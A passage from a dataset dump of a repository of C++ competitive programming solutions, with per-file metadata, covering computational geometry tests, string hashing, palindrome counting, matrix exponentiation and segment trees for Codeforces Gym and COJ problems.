{\n\t\treturn IN;\n\t}\n\treturn OUT;\n}\n\n//http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_B\n// test OK\nvoid test_segment_segment_intersection() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tcout << (segment_segment_intersect(A, B, C, D) ? \"1\" : \"0\") << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_B\n// test OK\nvoid test_is_convex() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tcout << (is_convex(polygon) ? \"1\" : \"0\") << \"\\n\";\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_C\n// test OK\nvoid test_point_inside_polygon() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint P;\n\t\tcin >> P.x >> P.y;\n\t\tcout << point_inside_polygon(P, polygon) << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_A\n// test ???\nvoid test_parallel_orthogonal() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tint answer = 0;\n\t\tif (cross(B - A, D - C) == 0) {\n\t\t\tanswer = 2;\n\t\t} else if (dot(B - A, D - C) == 0) {\n\t\t\tanswer = 1;\n\t\t}\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t// test_segment_segment_intersection();\n\t// test_is_convex();\n\t// test_point_inside_polygon();\n\ttest_parallel_orthogonal();\n}\n\n" }, { "alpha_fraction": 0.38778409361839294, "alphanum_fraction": 0.4275568127632141, "avg_line_length": 23.275861740112305, "blob_id": "8ba5291fdaa6a483341786eacc4abd9a70a8f74f", "content_id": "5c7cd3f99a75840e622bd4e5242a3cf756d2ede9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1408, "license_type": "no_license", "max_line_length": 63, "num_lines": 58, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-9;\n\nint n, d, b;\ndouble p[10005], h[10005];\n\ninline bool check(double x, double angle) {\n double v = sqrt(x / sin(2.0 * angle));\n double aa = -1.0 / (2.0 * v * v * cos(angle) * cos(angle));\n double bb = tan(angle);\n for (int i = 0; i < n; i++) {\n double cnt = (int)(p[i] / x);\n double xx = p[i] - cnt * x;\n double yy = aa * xx * xx + bb * xx;\n if (yy < h[i]) {\n return false;\n }\n }\n return true;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cout.precision(10);\n cin >> d >> n >> b;\n for (int i = 0; i < n; i++) {\n cin >> p[i] >> h[i];\n }\n double ans;\n for (int i = 0; i <= b; i++) {\n double x = d / ((double)(i + 1));\n double lo = M_PI / 4.0;\n double hi = M_PI / 2.0;\n for (int it = 0; it < 200; it++) {\n double mid = (lo + hi) / 2.0;\n if (check(x, mid)) {\n hi = mid;\n } else {\n lo = mid;\n }\n }\n double angle = (lo + hi) / 2.0;\n double vel = sqrt(x / sin(2.0 * angle));\n if (i == 0 || vel < ans) {\n ans = vel;\n }\n }\n cout.precision(10);\n cout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3717377483844757, "alphanum_fraction": 0.42043283581733704, "avg_line_length": 20.60431671142578, "blob_id": "b4ed6d257921466f11fdab52c90124850cc63f8b", "content_id": "9398b13d5fe816e76ba822c0acb4f746daba22ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3142, "license_type": "no_license", "max_line_length": 125, "num_lines": 139, "path": "/COJ/eliogovea-cojAC/eliogovea-p2749-Accepted-s906140.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nconst int BASE1 = 31;\r\nconst int BASE2 = 43;\r\n\r\nconst int MOD1 = 1000000007;\r\nconst int MOD2 = 1000000009;\r\n\r\ninline void add(int &a, int b, int MOD) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b, int MOD) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int val(char ch) {\r\n\treturn ch - 'a' + 1;\r\n}\r\n\r\nint t, k;\r\nint n;\r\nstring a, b;\r\n\r\nint p1[N], p2[N];\r\nint h1a[N], h1b[N], h2a[N], h2b[N];\r\n\r\ninline int get(int *hash, int *p, int MOD, int s, int e) {\r\n\tint r = hash[e];\r\n\tint l = mul(hash[s], p[e - s], MOD);\r\n\tadd(r, MOD - l, MOD);\r\n\treturn r;\r\n}\r\n\r\nint lcp(int sa, int sb) {\r\n\tint lo = 0;\r\n\tint hi = min(n - sa, n - sb);\r\n\tint res = 0;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tbool ok1 = (get(h1a, p1, MOD1, sa, sa + mid) == get(h1b, p1, MOD1, sb, sb + mid));\r\n\t\tbool ok2 = (get(h2a, p2, MOD2, sa, sa + mid) == get(h2b, p2, MOD2, sb, sb + mid));\r\n\t\t//cout << mid << \":\\n\";\r\n\t\t//cout << \" \" << get(h1a, p1, MOD1, sa, sa + mid) << \" : \" << get(h1b, p1, MOD1, sb, sb + mid) << \" \" << ok1 << \"\\n\";\r\n //cout << \" \" << get(h2a, p2, MOD2, sa, sa + mid) << \" : \" << get(h2b, p2, MOD2, sb, sb + mid) << \" \" << ok2 << \"\\n\";\r\n\t\tif (ok1 && ok2) {\r\n\t\t\tres = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tp1[0] = 1;\r\n\tp2[0] = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tp1[i] = mul(p1[i - 1], BASE1, MOD1);\r\n\t\tp2[i] = mul(p2[i - 1], BASE2, MOD2);\r\n\t}\r\n\tcin >> t >> k;\r\n\tint ansmin = -1;\r\n\tint ansmax = -1;\r\n\twhile (t--) {\r\n\t\tcin >> a;\r\n\t\tn = a.size();\r\n\t\tb = a;\r\n\t\treverse(b.begin(), b.end());\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\th1a[i] = mul(h1a[i - 1], BASE1, MOD1); add(h1a[i], val(a[i - 1]), MOD1);\r\n\t\t\th2a[i] = mul(h2a[i - 1], BASE2, MOD2); add(h2a[i], val(a[i - 1]), MOD2);\r\n\t\t\th1b[i] = mul(h1b[i - 1], BASE1, MOD1); add(h1b[i], val(b[i - 1]), MOD1);\r\n\t\t\th2b[i] = mul(h2b[i - 1], BASE2, MOD2); add(h2b[i], val(b[i - 1]), MOD2);\r\n\t\t}\r\n\r\n\t\tint tot = 0;\r\n\t\t//cout << \"odd:\\n\";\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint v = lcp(i, n - 1 - i) - 1;\r\n\t\t\tif (2 * v + 1 < k) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint lo = 0;\r\n\t\t\tint hi = v;\r\n\t\t\tint x = v;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (2 * mid + 1 >= k) {\r\n\t\t\t\t\tx = mid;\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\ttot += v - x + 1;\r\n\t\t\t//cout << \"center: \" << i << \" lcp: \" << v << \"\\n\";\r\n\t\t}\r\n\t\t//cout << \"even:\\n\";\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tint v = lcp(i, n - 1 - (i - 1));\r\n\t\t\tif (2 * v < k) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint lo = 0;\r\n\t\t\tint hi = v;\r\n\t\t\tint x = v;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (2 * mid >= k) {\r\n\t\t\t\t\tx = mid;\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\ttot += v - x + 1;\r\n\t\t\t//cout << \"center: \" << i << \" lcp: \" << v << \"\\n\";\r\n\t\t}\r\n\t\t//cout << \"total: \"<< tot << \"\\n\";\r\n\t\tif (ansmin == -1 || tot < ansmin) {\r\n\t\t\tansmin = tot;\r\n\t\t}\r\n\t\tif (ansmax == -1 || tot > ansmax) {\r\n\t\t\tansmax = tot;\r\n\t\t}\r\n\t}\r\n\tcout << ansmin << \" \" << ansmax << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36994948983192444, "alphanum_fraction": 0.40214645862579346, "avg_line_length": 15.032258033752441, "blob_id": "e5c2baf3657828537bb4d12840ad5c9c3b333551", "content_id": "ee8708afd9e99515f40bf2b8bb0d414c2c213362", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1584, "license_type": "no_license", "max_line_length": 54, "num_lines": 93, "path": "/COJ/eliogovea-cojAC/eliogovea-p3862-Accepted-s1120057.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// C1 - Tiling a Grid With Dominoes II\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int H = 4;\r\nconst int S = 1 << H;\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nstruct matrix {\r\n\tint v[S][S];\r\n\tmatrix(int x = 0) {\r\n\t\tfor (int i = 0; i < S; i++) {\r\n\t\t\tfor (int j = 0; j < S; j++) {\r\n\t\t\t\tv[i][j] = 0;\r\n\t\t\t}\r\n\t\t\tv[i][i] = x;\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res(0);\r\n\tfor (int i = 0; i < S; i++) {\r\n\t\tfor (int j = 0; j < S; j++) {\r\n\t\t\tfor (int k = 0; k < S; k++) {\r\n\t\t\t\tadd(res.v[i][j], mul(a.v[i][k], b.v[k][j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline matrix power(matrix x, long long n) {\r\n\tmatrix res(1);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tconst int H = 4;\r\n\r\n\tvector <bool> ok(1 << H);\r\n\tok[(1 << H) - 1] = true;\r\n\tfor (int m = (1 << H) - 2; m >= 0; m--) {\r\n\t\tint p = 0;\r\n\t\twhile (m & (1 << p)) {\r\n\t\t\tp++;\r\n\t\t}\r\n\t\tif (p + 1 == H || (m & (1 << (p + 1)))) {\r\n\t\t\tok[m] = false;\r\n\t\t} else {\r\n\t\t\tok[m] = ok[m | (1 << p) | (1 << (p + 1))];\r\n\t\t}\r\n\t}\r\n\r\n\tmatrix g(0);\r\n\tfor (int m = 0; m < (1 << H); m++) {\r\n\t\tfor (int x = 0; x < (1 << H); x++) {\r\n\t\t\tif (m & x) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tif ((!(m & x)) && ok[m | x]) {\r\n\t\t\t\tadd(g.v[m][x], 1);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlong long w;\r\n\tcin >> w;\r\n\tg = power(g, w);\r\n\tcout << g.v[0][0] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3483910858631134, "alphanum_fraction": 0.3595297038555145, "avg_line_length": 25.389829635620117, "blob_id": "2757dfa9b9498a9e4f613afbec0f34c5d92636e0", "content_id": "7cfc695278c986ff583552f28abbf1cb316a3122", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1616, "license_type": "no_license", "max_line_length": 85, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2535-Accepted-s565666.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXL = 510;\r\n\r\nint k;\r\nstring word;\r\nbool dp[MAXL][MAXL];\r\nmap<string,int> M;\r\nmap<string,int>::iterator it;\r\n\r\nint main(){\r\n\r\n cin >> k >> word;\r\n\r\n for( int i = 0; i < word.size(); i++ ) dp[i][i] = 1;\r\n for( int i = 0; i < word.size() - 1; i++ ) dp[i][i + 1] = word[i] == word[i + 1];\r\n for( int l = 2; l <= word.size(); l++ )\r\n for( int i = 0; i + l <= word.size(); i++ )\r\n dp[i][i + l] = ( word[i] == word[i + l] && dp[i + 1][i + l - 1] );\r\n\r\n for( int i = 0; i < word.size(); i++ )\r\n for( int j = i + 1; j < word.size(); j++ )\r\n if( dp[i][j] )\r\n {\r\n string aux = \"\";\r\n bool b = false;\r\n for( int k = i; k <= j; k++ )\r\n {\r\n if( k < j && dp[i][k] && dp[k + 1][j] ) b = true;\r\n aux += word[k];\r\n }\r\n if( b ) M[aux]++;\r\n ///cout << aux << \" \" << M[aux] << endl;\r\n }\r\n int mx = 0;\r\n string sol = \"-\";\r\n bool b = false;\r\n for( it = M.begin();it != M.end(); it++ )\r\n if( it->first.size() >= k )\r\n {\r\n if( it->second > mx )\r\n {\r\n mx = it->second;\r\n sol = it->first;\r\n }\r\n else if( it->second == mx && sol < it->first )\r\n sol = it->first;\r\n }\r\n\r\n if( sol == \"-\" )cout << sol << endl;\r\n else cout << sol << \" \" << mx << endl;\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3820224702358246, "alphanum_fraction": 0.43820226192474365, "avg_line_length": 18.227272033691406, "blob_id": "aa998fdc83a831f6dc1b9776aaef28f70c2bcde1", "content_id": "b61776b9940776ad77e09ecb2006cefdd0b1e1ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 445, "license_type": "no_license", "max_line_length": 53, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2315-Accepted-s610861.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 100000;\r\n\r\nint n, sd[MAXN + 10], sol[MAXN + 10];\r\n\r\nint SD(int n) {\r\n\tif (n <= MAXN) return sd[n];\r\n\treturn n % 10 + SD(n / 10);\r\n}\r\n\r\nint main() {\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tsd[i] = i % 10 + sd[i / 10];\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = 11; j <= 100; j++)\r\n\t\t\tif (SD(i) == SD(i * j)) {\r\n\t\t\t\tsol[i] = j;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\twhile (scanf(\"%d\", &n) && n) printf(\"%d\\n\", sol[n]);\r\n}\r\n" }, { "alpha_fraction": 0.40437787771224976, "alphanum_fraction": 0.42626726627349854, "avg_line_length": 14.692307472229004, "blob_id": "8aec9c36599d4d0e4d5916754327beef59b4e0d6", "content_id": "a2346c3692b520b34c39f757721b92314ca09720", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 868, "license_type": "no_license", "max_line_length": 46, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p2808-Accepted-s826338.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst int N = 500005;\r\n\r\nint t;\r\n\r\nconst ull B = 31;\r\n\r\nstring s;\r\null HASH[N], POW[N];\r\n\r\null get(int s, int e) {\r\n\treturn HASH[e] - HASH[s] * POW[e - s];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tPOW[i] = POW[i - 1] * B;\r\n\t}\r\n\twhile (t--) {\r\n\t\tcin >> s;\r\n\t\tint n = s.size();\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tHASH[i] = HASH[i - 1] * B + s[i - 1] - 'a';\r\n\t\t}\r\n\t\tull x = HASH[n];\r\n\t\tint ans = n;\r\n\t\tfor (int i = 1; i + i <= n; i++) {\r\n\t\t\tif (n % i) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tull val = 0;\r\n\t\t\tfor (int j = 1; j <= n / i; j++) {\r\n\t\t\t\tval = val * POW[i] + HASH[i];\r\n\t\t\t}\r\n\t\t\tif (val == x) {\r\n\t\t\t\tans = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37159255146980286, "alphanum_fraction": 0.41319942474365234, "avg_line_length": 16.83783721923828, "blob_id": "abaa28fba8ca08e0bc47f72866fcd51ab836c8cc", "content_id": "9af73db2ae6dead49a32889408ec7e3818b0013a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 697, "license_type": "no_license", "max_line_length": 42, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3171-Accepted-s785536.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\ndouble f[N + 5];\r\n\r\nint y;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n f[0] = 0;\r\n\tfor (int i = 1; i <= N; i++) {\r\n f[i] = f[i - 1] + log2(i);\r\n\t}\r\n\twhile (cin >> y && y) {\r\n\t\tint bits = 4 * (1 << ((y - 1960) / 10));\r\n\t\t//cout << \"bits \" << bits << \"\\n\";\r\n\t\tint lo = 0, hi = 1e6;\r\n\t\tint ans = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tint need = 1 + (int)f[mid];\r\n\t\t\t//cout << mid << \" \" << need << \"\\n\";\r\n\t\t\tif (need <= bits) {\r\n\t\t\t\tans = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4176829159259796, "alphanum_fraction": 0.47256097197532654, "avg_line_length": 14.399999618530273, "blob_id": "c08fe8f686815c7467827ac7a00f27d170d61191", "content_id": "dd1636f69273b9df4893993b459367f4a772914c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 328, "license_type": "no_license", "max_line_length": 34, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1395-Accepted-s609261.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nconst int MAXN = 10000000;\r\n\r\nint tc, n, cant[MAXN + 10];\r\n\r\nint main() {\r\n\tdouble tot = 0.0;\r\n\tcant[1] = 1;\r\n\tfor (int i = 2; i <= MAXN; i++) {\r\n\t\ttot += log10(i);\r\n\t\tcant[i] = (int)tot + 1;\r\n\t}\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tprintf(\"%d\\n\", cant[n]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3362068831920624, "alphanum_fraction": 0.3728448152542114, "avg_line_length": 19.090909957885742, "blob_id": "7c198f0f15f666a29283f27e2d312a34f54a99fe", "content_id": "d0a4c956e0d0c1dd400023635810eae77e84804a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 464, "license_type": "no_license", "max_line_length": 52, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2281-Accepted-s471320.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nchar a[100][100],s[1000000];\r\nint n,k;\r\n\r\nint main(){\r\n cin >> n;\r\n while(n--){\r\n cin >> s;\r\n k=0;\r\n int l=strlen(s),sl=(int)sqrt(l);\r\n \r\n for(int i=sl-1; i>=0; i--)\r\n for(int j=i; j<l; j+=sl)cout << s[j];\r\n \r\n cout << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.5232067704200745, "alphanum_fraction": 0.5907173156738281, "avg_line_length": 15.928571701049805, "blob_id": "26befaf345a84331313ae5026274370a0827ed15", "content_id": "1637317a535390b2813b4ac514ba3460ec350f54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 237, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint f;\n\tcin >> f;\n\tcout << (f >= 7 ? \"YES\" : \"NO\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3595691919326782, "alphanum_fraction": 0.3898094594478607, "avg_line_length": 16.287878036499023, "blob_id": "63cebae10fdc00e4ce09d7f4bf1e991636ea01fb", "content_id": "b521257d02d74bb26386e3258318c4a236394c75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2414, "license_type": "no_license", "max_line_length": 49, "num_lines": 132, "path": "/COJ/eliogovea-cojAC/eliogovea-p3481-Accepted-s894992.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nconst int MOD = 1000000007;\r\n\r\nint n;\r\nint a[N];\r\n\r\nstruct ST {\r\n\tint n;\r\n\tvector <int> t;\r\n\tST() {}\r\n\tST(int _n) {\r\n\t\tn = _n;\r\n\t\tt.resize(4 * n);\r\n\t}\r\n\tvoid update(int x, int l, int r, int p, int v) {\r\n\t\tif (p > r || p < l) return;\r\n\t\tif (l == r) {\r\n\t\t\tt[x] = v;\r\n\t\t} else {\r\n\t\t\tint m = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, m, p, v);\r\n\t\t\tupdate(2 * x + 1, m + 1, r, p, v);\r\n\t\t\tt[x] = max(t[2 * x], t[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tint query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (l > qr || r < ql) return 0;\r\n\t\tif (l >= ql && r <= qr) return t[x];\r\n\t\tint m = (l + r) >> 1;\r\n\t\tint q1 = query(2 * x, l, m, ql, qr);\r\n\t\tint q2 = query(2 * x + 1, m + 1, r, ql, qr);\r\n\t\treturn max(q1, q2);\r\n\t}\r\n};\r\n\r\nconst int A = 100;\r\n\r\nbool criba[A + 5];\r\n\r\nvector <int> p;\r\nint pos[A];\r\n\r\nvector <ST> t;\r\n\r\ninline int mul(int a, int b) {\r\n return (long long)a * b % MOD;\r\n}\r\n\r\ninline long long power(long long x, int n) {\r\n\tlong long res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n res = mul(res, x);\r\n\t\t}\r\n x = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint q;\r\nchar ch;\r\nint x, y;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i <= A; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tpos[i] = p.size();\r\n\t\t\tp.push_back(i);\r\n\t\t\tfor (int j = i + i; j <= A; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> n;\r\n\tfor (int i = 0; i < p.size(); i++) {\r\n\t\tt.push_back(ST(n));\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tint x = a[i];\r\n\t\tfor (int j = 0; p[j] * p[j] <= x; j++) {\r\n\t\t\tif (x % p[j] == 0) {\r\n\t\t\t\tint cnt = 0;\r\n\t\t\t\twhile (x % p[j] == 0) {\r\n\t\t\t\t\tcnt++;\r\n\t\t\t\t\tx /= p[j];\r\n\t\t\t\t}\r\n\t\t\t\tt[j].update(1, 1, n, i, cnt);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (x > 1) {\r\n\t\t\tt[pos[x]].update(1, 1, n, i, 1);\r\n\t\t}\r\n\t}\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> ch >> x >> y;\r\n\t\tif (ch == 'U') {\r\n\t\t\tfor (int i = 0; i < p.size(); i++) {\r\n\t\t\t\tt[i].update(1, 1, n, x, 0);\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; p[i] * p[i] <= y; i++) {\r\n\t\t\t\tif (y % p[i] == 0) {\r\n\t\t\t\t\tint cnt = 0;\r\n\t\t\t\t\twhile (y % p[i] == 0) {\r\n\t\t\t\t\t\ty /= p[i];\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tt[i].update(1, 1, n, x, cnt);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (y > 1) {\r\n\t\t\t\tt[pos[y]].update(1, 1, n, x, 1);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tint ans = 1;\r\n\t\t\tfor (int i = 0; i < p.size(); i++) {\r\n\t\t\t\tint mx = t[i].query(1, 1, n, x, y);\r\n\t\t\t\tans = mul(ans, power(p[i], mx));\r\n\t\t\t}\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.386904776096344, "alphanum_fraction": 0.4115646183490753, "avg_line_length": 16.092308044433594, "blob_id": "4be5a33ed17bc801f3024b7c33f31ddf4e85cad9", "content_id": "0bf04d494a5894420bf74220383cb4d3f8b3ce7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1176, "license_type": "no_license", "max_line_length": 67, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p2542-Accepted-s629199.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int SIZE = 2;\r\nconst ll mod = 1e9 + 7;\r\n\r\nstruct matrix {\r\n\tll m[SIZE + 1][SIZE + 1];\r\n\tvoid nul() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid idem() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t}\r\n\tvoid fib() {\r\n\t\tnul();\r\n\t\tm[0][0] = m[0][1] = m[1][0] = 1;\r\n\t}\r\n\tmatrix operator * (matrix &M) {\r\n\t\tmatrix r;\r\n\t\tr.nul();\r\n\t\tfor (int k = 0; k < SIZE; k++)\r\n\t\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + ((m[i][k] * M.m[k][j])) % mod) % 